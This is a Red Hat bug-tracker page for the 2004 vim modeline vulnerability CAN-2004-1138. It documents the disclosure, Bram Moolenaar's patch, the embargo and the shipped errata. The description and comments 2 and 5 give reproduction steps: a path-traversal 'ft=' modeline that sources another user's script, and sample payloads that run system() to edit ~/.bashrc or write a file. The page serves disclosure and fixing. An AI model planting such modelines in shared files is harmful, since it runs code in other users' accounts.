Bug 142444 - CAN-2004-1138 vim arbitrary command execution vulnerability
Summary: CAN-2004-1138 vim arbitrary command execution vulnerability
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Red Hat Enterprise Linux 3
Classification: Red Hat
Component: vim
Version: 3.0
Hardware: All
OS: Linux
medium
low
Target Milestone: ---
Assignee: Karsten Hopp
QA Contact: David Lawrence
URL:
Whiteboard: impact=low,embargo=20041215:14
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2004-12-09 19:10 UTC by Josh Bressers
Modified: 2007-11-30 22:07 UTC (History)
1 user (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2005-01-05 15:38:43 UTC
Target Upstream Version:
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2005:010 0 high SHIPPED_LIVE Low: vim security update 2005-01-05 05:00:00 UTC

Description Josh Bressers 2004-12-09 19:10:09 UTC
This was reported by gentoo to vendor-sec

Ciaran McCreesh, our Gentoo vim maintainer, found and reported upstream
several modeline-related vulnerabilities in vim :

------------------------------------------------------------
It's possible to do some pretty nasty stuff via vim modelines despite
the existing security code.

For example, by passing evil values for a fileformat setting in a
modeline, it's possible to make vim source arbitrary scripts upon
startup. This would hurt on a multiuser system. Here's one way:

User 'fred' creates a file in /home/fred/evil.vim containing lots of
nastiness (for example, "system('echo alias vim=emacs >> ~/.bashrc') |
quit"). He then creates a file in some shared location with a modeline
which does something like"set ft=../../../*fred/evil". User 'joe', who
has ftplugins and modelines enabled, edits this file. This results in a
call of ":runtime!../../../*fred/evil" , which (assuming ~/.vim is in
runtimepath) expands to ~/.vim/../../../*fred/evil which matches
/home/fred/evil.vim.
------------------------------------------------------------

Bram Moolenaar provided the following vim patch, that fixes the reported
vulnerabilities and adds more conservative modeline rights :

------------------------------------------------------------
Patch 6.3.045
Problem:   Unusual characters in an option value may cause unexpected
           behavior, especially for a modeline. (Ciaran McCreesh)
Solution:  Don't allow setting termcap options or 'printdevice' or
           'titleold' in a modeline.  Don't list options for "termcap"
           and "all" in a modeline.  Don't allow unusual characters in
           'filetype', 'syntax', 'backupext', 'keymap', 'patchmode' and
           'langmenu'.
Files:     src/option.c, runtime/doc/options.txt



This issue also affects RHEL2.1

I'll include patches when I have them.

Comment 1 Josh Bressers 2004-12-09 19:21:36 UTC
Treat this issue as embargoed for now.  While it is technically
public, it's not well known.

Comment 2 Josh Bressers 2004-12-10 12:54:25 UTC
This issue is fairly easy to exploit, here's the instructions.

Make sure you have the following lines in your ~/.vimrc

set modeline
filetype plugin on


Then create a file called "evil.vim" in ~/ which contains a single line

echo "************** Haxor ********************"

or whatever other silly string you wish to display.


I then created a file called test.c with some nonsense at the
beginning but this modeline at the bottom.

vim: ft=../../../../../home/<username>/evil



When you edit the file test.c, you should see the string in evil.vim
displayed at the bottom of the vim window.

Comment 5 Karsten Hopp 2004-12-15 14:56:04 UTC
comment 3 isn't correct, evil.vim needs lo look like this: 
>>> cat ~tester/evil.vim 
let a = system('echo "************** Haxor ********************" 
> /tmp/HACK') 
 
>>> cat /tmp/test.c 
#include <stdio.h> 
int main () { 
} 
/* 
vim:ft=../../../../../home/tester/evil 
*/ 
 
>> cat ~/.vimrc 
set modeline 
filetype plugin on 
 
>>> vi /tmp/test.c 
quit 
 
>>> ls -l /tmp/HACK   (vim is vulnerable if it exists, save 
otherwise) 

Comment 6 Josh Bressers 2004-12-15 21:45:11 UTC
Removing embargo

Comment 7 Josh Bressers 2005-01-05 15:38:43 UTC
An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2005-010.html



Note You need to log in before you can comment on or make changes to this bug.